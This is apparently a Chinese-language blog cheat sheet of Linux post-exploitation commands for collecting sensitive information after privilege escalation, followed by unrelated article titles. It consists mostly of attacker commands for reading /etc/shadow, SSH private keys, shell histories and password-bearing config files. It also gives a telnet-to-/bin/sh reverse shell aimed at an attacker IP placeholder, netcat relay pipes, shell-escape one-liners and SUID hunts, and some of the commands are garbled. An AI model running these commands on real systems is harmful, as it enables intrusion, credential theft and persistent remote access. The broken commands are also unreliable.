如果不能执行的可能是不同类型的linux。

系统版本?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release

cat /etc/redhat-release

内核版本?

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz

环境变量?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

打印机?

lpstat -a

正在运行什么服务?具有什么用户权限?

ps aux

ps -ef

top

cat /etc/service

哪些服务具有root的权限?

ps aux | grep root

ps -ef | grep root

安装了哪些应用程序?他们是什么版本?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

Service设置,有任何的错误配置吗?是否有任何脆弱性插件?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

主机上有哪些工作计划?

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

主机上可能有哪些纯文本用户名和密码?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

NIC(s),系统有哪些?它是连接到哪一个网络?

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

网络配置设置是什么?网络中有什么样的服务器?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

其他用户主机与系统的通信?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

缓存?IP和/或MAC地址?

arp -e

route

/sbin/route -nee

数据包可能嗅探吗?监听流量

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何get一个shell?你如何与系统进行交互?

nc -lvp 4444    # Attacker. 输入 (命令)

nc -lvp 4445    # Attacker. 输出(结果)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

#mknod

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod

backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc

localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

本地,远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

id

who

w

last

cat /etc/passwd | cut -d:    # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

可以找到什么敏感文件?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

什么有趣的文件在home/directorie(S)里?如果有权限访问

ls -ahlR /root/

ls -ahlR /home/

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到什么样的用户信息

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

private-key 信息能否被发现?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null        # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/ var /有什么可以发现?

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

如果命令限制,你可以打出哪些突破它的限制?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

如何安装文件系统?

mount

df -h

是否有挂载的文件系统?

cat /etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    #

Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,

/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID

(Quicker search)

#

findstarting at root (/), SGIDorSUID, not Symbolic links, only 3

folders deep, list with more detail and hideany errors (e.g. permission

denied)

find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

find / -writable -type d 2>/dev/null        # world-writeable folders

find / -perm -222 -type d 2>/dev/null      # world-writeable folders

find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files?可写的的,“没有使用"的文件

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files

find /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files

准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上传文件?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

awk linux 获取端口号_Linux提权后获取敏感信息命令相关推荐

  1. linux80瑞口提权口今,史上最全Linux提权后获取敏感信息方法

    在本文开始之前,我想指出我不是专家.据我所知,在这个庞大的区域,没有一个"神奇"的答案.分享,共享(我的出发点).下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼 ...

  2. linux mysql 端口号_linux下mysql 查看默认端口号与修改端口号方法

    一.查看默认端口号 1.登录mysql [root@localhost ~]# mysql -uroot -p Enter password: 输入数据库密码: 2.使用show global var ...

  3. Linux利用脏牛漏洞提权

    实验环境:Centos6.5.ssh 实验步骤: 一.搭建实验环境 1.利用ssh连接Centos进行远程操作,在Centos6.5上安装http和php,输入yum -y install httpd ...

  4. Linux安全驱动模块,【漏洞预警】CVE-2017-2636:linux 内核n_hdlc驱动模块 本地提权漏洞...

    漏洞描述: 漏洞编号:CVE-2017-2636 漏洞发现者:Alexander Popov 漏洞危害:高危,低权限用户利用该漏洞可以在Linux系统上实现本地提权. 影响范围:这个bug最早引入在2 ...

  5. Linux内核PWN-基础ROP提权

    0x00 基础知识 1. linux kernel pwn 图片如果无效大伙可以转战 Linux内核pwn-基础ROP提权 https://www.52pojie.cn/thread-1713663- ...

  6. linux命令查询端口号,linux查询端口号(linux查看端口的命令)

    linux查询端口号(linux查看端口的命令) 2020-07-24 11:55:46 共10个回答 1.打开任务管理器(在桌面最下面的"任务栏"右击鼠标).2.在任务管理器界面 ...

  7. linux对外开放端口号

    linux对外开放端口号 1.查询指定端口是否已经开启 firewall-cmd --query-port=8091/tcp 2.查看防火墙状态 查看防火墙状态 systemctl status fi ...

  8. 实时获取端口号和ip地址(域名)

    使用自定义获取端口号和ip地址(域名)window.location 在项目当中,很多项目是属于外包的,当项目做完就需要部署然后交给甲方,那么此时项目就不是我们负责 端口号,和域名,后期因为部署到服务 ...

  9. Linux账号安全控制和sudo提权

    Linux账号安全控制和sudo提权 一.账号安全控制 系统账号清理 将非登陆用户的Shell设为/sbin/nologin或者/bin/falsh usermod -s /sbin/nologin ...

最新文章

  1. 英特尔推深度学习加速工具包OpenVINO,布局边缘计算,发力物联网业务
  2. python 计算算术平方根
  3. 剑指offer python 博客园_python-剑指offer16-20
  4. 同软件多个线程设置不同ip_多线程--面试知识
  5. 6月26号.NET面试题(程序题部分)只要做懂这3道题肯定能脱离菜鸟称号!
  6. LNMP源码安装脚本
  7. java金字塔等边三角形_java99乘法表的小练习 正三角 倒三角 正金字塔 倒金字塔...
  8. HTML5前端开发就业前景,高薪背后的原因分析!
  9. 16kb等于多少b_面试官:MySQL索引为何选择B+树?
  10. 64. magento enable error report
  11. 天然气故障代码大全_网上最全燃气表故障代码大全-【看过的人都会选择收藏】...
  12. maven详解_本地仓库+远程仓库_体现maven用途
  13. 管理理念:导致员工工作效率低下的8大原因
  14. c语言pow函数原型_c语言中pow函数的用法是什么?_后端开发
  15. App UI设计:“看得见”有多重要
  16. 2023值得我们关注的10种软件测试趋势
  17. turnserver 搭建
  18. WHM(Web Hosting Manager)/CPANEL 设置及linux 文件权限 经验
  19. 九章量电子计算机诞生于,计算机应用基础统考题
  20. PTA 7-14 电话聊天狂人(25 分)map的应用

热门文章

  1. 基于Golang的CLI 命令行程序开发
  2. 2022-2028年中国聚硫橡胶行业市场研究及前瞻分析报告
  3. grep 的特殊使用
  4. Linux下“/”和“~”的区别
  5. Pytorch nn.init 参数初始化方法
  6. LeetCode简单题之自除数
  7. 最新Maven及Tomcat配置~(IDEA版 试错无数!)
  8. TVM实现hardware backend
  9. 2021年大数据Spark(四十四):Structured Streaming概述
  10. Windows 安装adb